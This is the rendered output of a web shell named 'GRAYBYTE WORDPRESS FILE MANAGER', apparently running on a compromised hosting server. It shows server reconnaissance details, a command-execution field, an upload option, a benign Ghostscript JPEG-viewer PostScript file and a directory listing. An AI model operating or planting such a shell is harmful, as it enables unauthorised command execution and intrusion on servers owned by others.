GRAYBYTE WORDPRESS FILE MANAGER5400

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/share/ghostscript/lib/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/share/ghostscript/lib//viewjpeg.ps
%! viewjpeg.ps   Copyright (C) 1994 Thomas Merz <tm@pdflib.com>
%
% This software is provided AS-IS with no warranty, either express or
% implied.
%
% This software is distributed under license and may not be copied,
% modified or distributed except as expressly authorized under the terms
% of the license contained in the file LICENSE in this distribution.
%
% For more information about licensing, please refer to
% http://www.ghostscript.com/licensing/. For information on
% commercial licensing, go to http://www.artifex.com/licensing/ or
% contact Artifex Software, Inc., 1305 Grant Avenue - Suite 200,
% Novato, CA 94945, U.S.A., +1(415)492-9861.

% View JPEG files with Ghostscript
%
% This PostScript code relies on level 2 features.
%
% Only JPEG baseline, extended sequential, and progressive files
% are supported.  Note that Adobe PostScript level 2 does not include
% progressive-JPEG support.  Ghostscript with IJG JPEG v6 or later
% will decode progressive JPEG, but only if you edit gsjmorec.h to
% enable that feature.
%
% Author's address:
% ------------------------------+
% {(pstack exec quit) = flush } |    Thomas Merz, Munich
% pstack exec quit              |    voice +49/89/29160728
% ------------------------------+    tm@muc.de  http://www.muc.de/~tm/
%
% Updated by L. Peter Deutsch 20-May-1997:
%   move the usage example to the beginning
% Updates by Tom Lane 6-Sep-1995

% Usage example:
%	(jpeg-6/testimg.jpg) viewJPEG

/languagelevel where {pop languagelevel 2 lt}{true} ifelse {
  (JPEG needs PostScript Level 2!\n) print flush stop
} if

/JPEGdict 20 dict def
JPEGdict begin

/NoParamMarkers [	% JPEG markers without additional parameters
    16#D0 16#D1 16#D2 16#D3 16#D4 16#D5 16#D6 16#D7 16#D8 16#01
] def

/NotSupportedMarkers [ 	% JPEG markers not supported by PostScript level 2
    16#C3 16#C5 16#C6 16#C7 16#C8 16#C9 16#CA 16#CB 16#CD 16#CE 16#CF
] def

% Names of color spaces
/ColorSpaceNames << /1 /DeviceGray /3 /DeviceRGB /4 /DeviceCMYK >> def

% read one byte from file F
% - ==> int --or-- stop context
/NextByte {
    F read not { (Read error in ViewJPEG!\n) print flush stop } if
} bind def

/SkipSegment {	% read two bytes and skip that much data
    NextByte 8 bitshift NextByte add 2 sub { NextByte pop } repeat
} bind def

% read width, height, and # of components from JPEG markers
% and store in dict
/readJPEGmarkers {	% - ==> dict --or-- stop context
    5 dict begin

    { % loop: read JPEG marker segments until we find SOFn marker or EOF
        NextByte
        16#FF eq {				% found marker
            /markertype NextByte def
            % Is it S0F0=baseline, SOF1=extended sequential, SOF2=progressive ?
            markertype dup 16#C0 ge exch 16#C2 le and {
                NextByte pop NextByte pop	% segment length
                % Ghostscript and Adobe PS accept only data precision 8
                NextByte 8 ne {
                    (Error: not 8 bits per component!\n) print flush stop
                } if

                % Read crucial image parameters
                /height NextByte 8 bitshift NextByte add def
                /width NextByte 8 bitshift NextByte add def
                /colors NextByte def

                VJPGDEBUG { currentdict { exch == == } forall flush } if
                exit
            } if

            % detect several segment types which are not compatible with PS
            NotSupportedMarkers {
                markertype eq {
                    (Marker ) print markertype ==
                    (not supported!\n) print flush stop
                } if
            } forall

            % Skip segment if marker has parameters associated with it
            true NoParamMarkers { markertype eq {pop false exit} if } forall
            { SkipSegment } if
        } if
    } loop

    currentdict dup /markertype undef
    end
} bind def

end	% JPEGdict

% read image parameters from JPEG file and display the image
/viewJPEG {		% <file|string> ==> -
    save
    JPEGdict begin
    /saved exch def
    /scratch 1 string def
    dup type /stringtype eq { (r) file } if
    /F exch def

    readJPEGmarkers begin
    F 0 setfileposition		% reset file pointer

    % We use the whole clipping area for the image (at least in one dimension)
    gsave clippath pathbbox grestore
    /ury exch def /urx exch def
    /lly exch def /llx exch def

    llx lly translate
    width height scale

    % use whole width or height, whichever is appropriate
    urx llx sub width div ury lly sub height div
    2 copy gt { exch } if pop		% min
    dup scale
    ColorSpaceNames colors scratch cvs get setcolorspace

    % prepare image dictionary
    << /ImageType 1
       /Width width
       /Height height
       /ImageMatrix [ width 0 0 height neg 0 height ]
       /BitsPerComponent 8
       % If 4-component (CMYK), assume data is inverted per Adobe Photoshop
       colors 4 eq {
         /Decode [ colors { 1 0 } repeat ]
       } {
         /Decode [ colors { 0 1 } repeat ]
       } ifelse
       /DataSource F /DCTDecode filter
    >> image

    end		% image parameter dictionary

    saved end restore
} bind def

% This lets you do stuff on the command line like:
% gs -sDEVICE=pdfwrite -o stuff%03d.pdf viewjpeg.ps -c "(image.jpg) << /PageSize 2 index viewJPEGgetsize 2 array astore  >> setpagedevice viewJPEG"
% so the output size matches the original image.
/viewJPEGgetsize {		% <file|string> ==> width height
    save
    JPEGdict begin
    /saved exch def
    /scratch 1 string def
    dup type /stringtype eq { (r) file } if
    /F exch def
    readJPEGmarkers begin
    F 0 setfileposition		% reset file pointer
    width height
    saved end restore
} bind def

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 03 2025 02:48:16
root / root
0755
PDFA_def.ps
1.246 KB
June 03 2025 02:48:11
root / root
0644
PDFX_def.ps
1.77 KB
June 03 2025 02:48:11
root / root
0644
PM760p.upp
1.133 KB
June 03 2025 02:48:15
root / root
0644
PM760pl.upp
1.098 KB
June 03 2025 02:48:15
root / root
0644
PM820p.upp
1.115 KB
June 03 2025 02:48:15
root / root
0644
PM820pl.upp
1.091 KB
June 03 2025 02:48:15
root / root
0644
Stc670p.upp
1.132 KB
June 03 2025 02:48:15
root / root
0644
Stc670pl.upp
1.098 KB
June 03 2025 02:48:15
root / root
0644
Stc680p.upp
1.113 KB
June 03 2025 02:48:15
root / root
0644
Stc680pl.upp
1.089 KB
June 03 2025 02:48:15
root / root
0644
Stc740p.upp
1.015 KB
June 03 2025 02:48:15
root / root
0644
Stc740pl.upp
1.089 KB
June 03 2025 02:48:15
root / root
0644
Stc760p.upp
1.114 KB
June 03 2025 02:48:15
root / root
0644
Stc760pl.upp
1.089 KB
June 03 2025 02:48:15
root / root
0644
Stc777p.upp
1.113 KB
June 03 2025 02:48:15
root / root
0644
Stc777pl.upp
1.089 KB
June 03 2025 02:48:15
root / root
0644
Stp720p.upp
1.131 KB
June 03 2025 02:48:15
root / root
0644
Stp720pl.upp
1.089 KB
June 03 2025 02:48:15
root / root
0644
Stp870p.upp
1.113 KB
June 03 2025 02:48:15
root / root
0644
Stp870pl.upp
1.089 KB
June 03 2025 02:48:15
root / root
0644
acctest.ps
4.169 KB
June 03 2025 02:48:11
root / root
0644
align.ps
2.105 KB
June 03 2025 02:48:11
root / root
0644
bj8.rpd
0.624 KB
June 03 2025 02:48:12
root / root
0644
bj8gc12f.upp
1.496 KB
June 03 2025 02:48:12
root / root
0644
bj8hg12f.upp
1.495 KB
June 03 2025 02:48:12
root / root
0644
bj8oh06n.upp
1.481 KB
June 03 2025 02:48:12
root / root
0644
bj8pa06n.upp
1.489 KB
June 03 2025 02:48:12
root / root
0644
bj8pp12f.upp
1.506 KB
June 03 2025 02:48:12
root / root
0644
bj8ts06n.upp
1.494 KB
June 03 2025 02:48:12
root / root
0644
bjc6000a1.upp
1.621 KB
June 03 2025 02:48:15
root / root
0644
bjc6000b1.upp
1.621 KB
June 03 2025 02:48:15
root / root
0644
bjc610a0.upp
1.491 KB
June 03 2025 02:48:12
root / root
0644
bjc610a1.upp
1.48 KB
June 03 2025 02:48:12
root / root
0644
bjc610a2.upp
1.481 KB
June 03 2025 02:48:12
root / root
0644
bjc610a3.upp
1.486 KB
June 03 2025 02:48:12
root / root
0644
bjc610a4.upp
1.494 KB
June 03 2025 02:48:12
root / root
0644
bjc610a5.upp
1.481 KB
June 03 2025 02:48:12
root / root
0644
bjc610a6.upp
1.481 KB
June 03 2025 02:48:12
root / root
0644
bjc610a7.upp
1.484 KB
June 03 2025 02:48:12
root / root
0644
bjc610a8.upp
1.49 KB
June 03 2025 02:48:12
root / root
0644
bjc610b1.upp
1.48 KB
June 03 2025 02:48:12
root / root
0644
bjc610b2.upp
1.481 KB
June 03 2025 02:48:12
root / root
0644
bjc610b3.upp
1.486 KB
June 03 2025 02:48:12
root / root
0644
bjc610b4.upp
1.494 KB
June 03 2025 02:48:12
root / root
0644
bjc610b6.upp
1.481 KB
June 03 2025 02:48:12
root / root
0644
bjc610b7.upp
1.485 KB
June 03 2025 02:48:12
root / root
0644
bjc610b8.upp
1.49 KB
June 03 2025 02:48:12
root / root
0644
caption.ps
1.718 KB
June 03 2025 02:48:11
root / root
0644
cbjc600.ppd
10.887 KB
June 03 2025 02:48:11
root / root
0644
cbjc800.ppd
11.222 KB
June 03 2025 02:48:12
root / root
0644
cdj550.upp
1.65 KB
June 03 2025 02:48:12
root / root
0644
cdj690.upp
1.952 KB
June 03 2025 02:48:12
root / root
0644
cdj690ec.upp
2.012 KB
June 03 2025 02:48:12
root / root
0644
cid2code.ps
4.386 KB
June 03 2025 02:48:11
root / root
0644
dmp_init.ps
7.076 KB
June 03 2025 02:48:15
root / root
0644
dmp_site.ps
0.448 KB
June 03 2025 02:48:15
root / root
0644
dnj750c.upp
2.742 KB
June 03 2025 02:48:12
root / root
0644
dnj750m.upp
1.929 KB
June 03 2025 02:48:12
root / root
0644
docie.ps
7.322 KB
June 03 2025 02:48:11
root / root
0644
escp_24.src
0.342 KB
June 03 2025 02:48:15
root / root
0644
font2pcl.ps
18.007 KB
June 03 2025 02:48:11
root / root
0644
ghostpdf.ppd
25.042 KB
June 03 2025 02:48:12
root / root
0644
gs_ce_e.ps
2.167 KB
June 03 2025 02:48:11
root / root
0644
gs_il2_e.ps
2.569 KB
June 03 2025 02:48:11
root / root
0644
gs_kanji.ps
3.913 KB
June 03 2025 02:48:11
root / root
0644
gs_ksb_e.ps
3.071 KB
June 03 2025 02:48:11
root / root
0644
gs_l.xbm
1.899 KB
June 03 2025 02:48:12
root / root
0644
gs_l.xpm
2.687 KB
June 03 2025 02:48:12
root / root
0644
gs_l_m.xbm
1.909 KB
June 03 2025 02:48:12
root / root
0644
gs_lgo_e.ps
2.67 KB
June 03 2025 02:48:11
root / root
0644
gs_lgx_e.ps
1.725 KB
June 03 2025 02:48:11
root / root
0644
gs_m.xbm
0.923 KB
June 03 2025 02:48:12
root / root
0644
gs_m.xpm
1.403 KB
June 03 2025 02:48:12
root / root
0644
gs_m_m.xbm
0.933 KB
June 03 2025 02:48:12
root / root
0644
gs_s.xbm
0.58 KB
June 03 2025 02:48:12
root / root
0644
gs_s.xpm
0.935 KB
June 03 2025 02:48:12
root / root
0644
gs_s_m.xbm
0.59 KB
June 03 2025 02:48:12
root / root
0644
gs_t.xbm
0.337 KB
June 03 2025 02:48:12
root / root
0644
gs_t.xpm
0.591 KB
June 03 2025 02:48:12
root / root
0644
gs_t_m.xbm
0.347 KB
June 03 2025 02:48:12
root / root
0644
gs_wl1_e.ps
2.437 KB
June 03 2025 02:48:11
root / root
0644
gs_wl2_e.ps
2.436 KB
June 03 2025 02:48:11
root / root
0644
gs_wl5_e.ps
2.453 KB
June 03 2025 02:48:11
root / root
0644
gslp.ps
20.242 KB
June 03 2025 02:48:11
root / root
0644
gsnup.ps
2.572 KB
June 03 2025 02:48:11
root / root
0644
ht_ccsto.ps
222.796 KB
June 03 2025 02:48:11
root / root
0644
image-qa.ps
71.338 KB
June 03 2025 02:48:11
root / root
0644
jispaper.ps
0.766 KB
June 03 2025 02:48:11
root / root
0644
landscap.ps
1.434 KB
June 03 2025 02:48:11
root / root
0644
lines.ps
3.648 KB
June 03 2025 02:48:11
root / root
0644
mkcidfm.ps
21.798 KB
June 03 2025 02:48:11
root / root
0644
necp2x.upp
1.021 KB
June 03 2025 02:48:12
root / root
0644
necp2x6.upp
1.044 KB
June 03 2025 02:48:12
root / root
0644
pdf2dsc.ps
7.874 KB
June 03 2025 02:48:11
root / root
0644
pf2afm.ps
14.937 KB
June 03 2025 02:48:11
root / root
0644
pfbtopfa.ps
0.973 KB
June 03 2025 02:48:11
root / root
0644
ppath.ps
1.776 KB
June 03 2025 02:48:11
root / root
0644
pphs.ps
6.684 KB
June 03 2025 02:48:11
root / root
0644
prfont.ps
7.044 KB
June 03 2025 02:48:11
root / root
0644
printafm.ps
4.783 KB
June 03 2025 02:48:11
root / root
0644
ps2ai.ps
21.783 KB
June 03 2025 02:48:11
root / root
0644
ps2epsi.ps
8.34 KB
June 03 2025 02:48:11
root / root
0644
ras1.upp
0.21 KB
June 03 2025 02:48:12
root / root
0644
ras24.upp
0.214 KB
June 03 2025 02:48:12
root / root
0644
ras3.upp
0.209 KB
June 03 2025 02:48:12
root / root
0644
ras32.upp
0.191 KB
June 03 2025 02:48:12
root / root
0644
ras4.upp
0.215 KB
June 03 2025 02:48:12
root / root
0644
ras8m.upp
0.204 KB
June 03 2025 02:48:12
root / root
0644
rollconv.ps
12.232 KB
June 03 2025 02:48:11
root / root
0644
s400a1.upp
1.42 KB
June 03 2025 02:48:15
root / root
0644
s400b1.upp
1.565 KB
June 03 2025 02:48:15
root / root
0644
sharp.upp
1.891 KB
June 03 2025 02:48:15
root / root
0644
sipixa6.upp
0.517 KB
June 03 2025 02:48:15
root / root
0644
st640ih.upp
2.228 KB
June 03 2025 02:48:12
root / root
0644
st640ihg.upp
1.473 KB
June 03 2025 02:48:12
root / root
0644
st640p.upp
1.869 KB
June 03 2025 02:48:12
root / root
0644
st640pg.upp
1.114 KB
June 03 2025 02:48:12
root / root
0644
st640pl.upp
1.834 KB
June 03 2025 02:48:12
root / root
0644
st640plg.upp
1.079 KB
June 03 2025 02:48:12
root / root
0644
stc.upp
1.878 KB
June 03 2025 02:48:12
root / root
0644
stc1520h.upp
2.104 KB
June 03 2025 02:48:12
root / root
0644
stc2.upp
1.859 KB
June 03 2025 02:48:12
root / root
0644
stc200_h.upp
1.805 KB
June 03 2025 02:48:12
root / root
0644
stc2_h.upp
1.835 KB
June 03 2025 02:48:12
root / root
0644
stc2s_h.upp
2.219 KB
June 03 2025 02:48:12
root / root
0644
stc300.upp
2.086 KB
June 03 2025 02:48:12
root / root
0644
stc300bl.upp
1.31 KB
June 03 2025 02:48:12
root / root
0644
stc300bm.upp
1.396 KB
June 03 2025 02:48:12
root / root
0644
stc500p.upp
1.858 KB
June 03 2025 02:48:12
root / root
0644
stc500ph.upp
1.858 KB
June 03 2025 02:48:12
root / root
0644
stc600ih.upp
2.228 KB
June 03 2025 02:48:12
root / root
0644
stc600p.upp
1.124 KB
June 03 2025 02:48:12
root / root
0644
stc600pl.upp
1.089 KB
June 03 2025 02:48:12
root / root
0644
stc640p.upp
1.069 KB
June 03 2025 02:48:12
root / root
0644
stc740ih.upp
2.073 KB
June 03 2025 02:48:15
root / root
0644
stc800ih.upp
2.107 KB
June 03 2025 02:48:12
root / root
0644
stc800p.upp
1.089 KB
June 03 2025 02:48:12
root / root
0644
stc800pl.upp
1.071 KB
June 03 2025 02:48:12
root / root
0644
stc_h.upp
1.868 KB
June 03 2025 02:48:12
root / root
0644
stc_l.upp
0.717 KB
June 03 2025 02:48:12
root / root
0644
stcany.upp
0.657 KB
June 03 2025 02:48:12
root / root
0644
stcany_h.upp
0.665 KB
June 03 2025 02:48:12
root / root
0644
stcinfo.ps
24.919 KB
June 03 2025 02:48:11
root / root
0644
stcolor.ps
4.946 KB
June 03 2025 02:48:11
root / root
0644
stocht.ps
2.436 KB
June 03 2025 02:48:11
root / root
0644
traceimg.ps
1.35 KB
June 03 2025 02:48:11
root / root
0644
traceop.ps
2.512 KB
June 03 2025 02:48:11
root / root
0644
uninfo.ps
5.846 KB
June 03 2025 02:48:11
root / root
0644
viewcmyk.ps
1.938 KB
June 03 2025 02:48:11
root / root
0644
viewgif.ps
5.269 KB
June 03 2025 02:48:11
root / root
0644
viewjpeg.ps
5.558 KB
June 03 2025 02:48:11
root / root
0644
viewmiff.ps
4.153 KB
June 03 2025 02:48:11
root / root
0644
viewpbm.ps
10.041 KB
June 03 2025 02:48:11
root / root
0644
viewpcx.ps
5.109 KB
June 03 2025 02:48:11
root / root
0644
viewps2a.ps
1.109 KB
June 03 2025 02:48:11
root / root
0644
winmaps.ps
3.521 KB
June 03 2025 02:48:11
root / root
0644
zeroline.ps
2.263 KB
June 03 2025 02:48:11
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF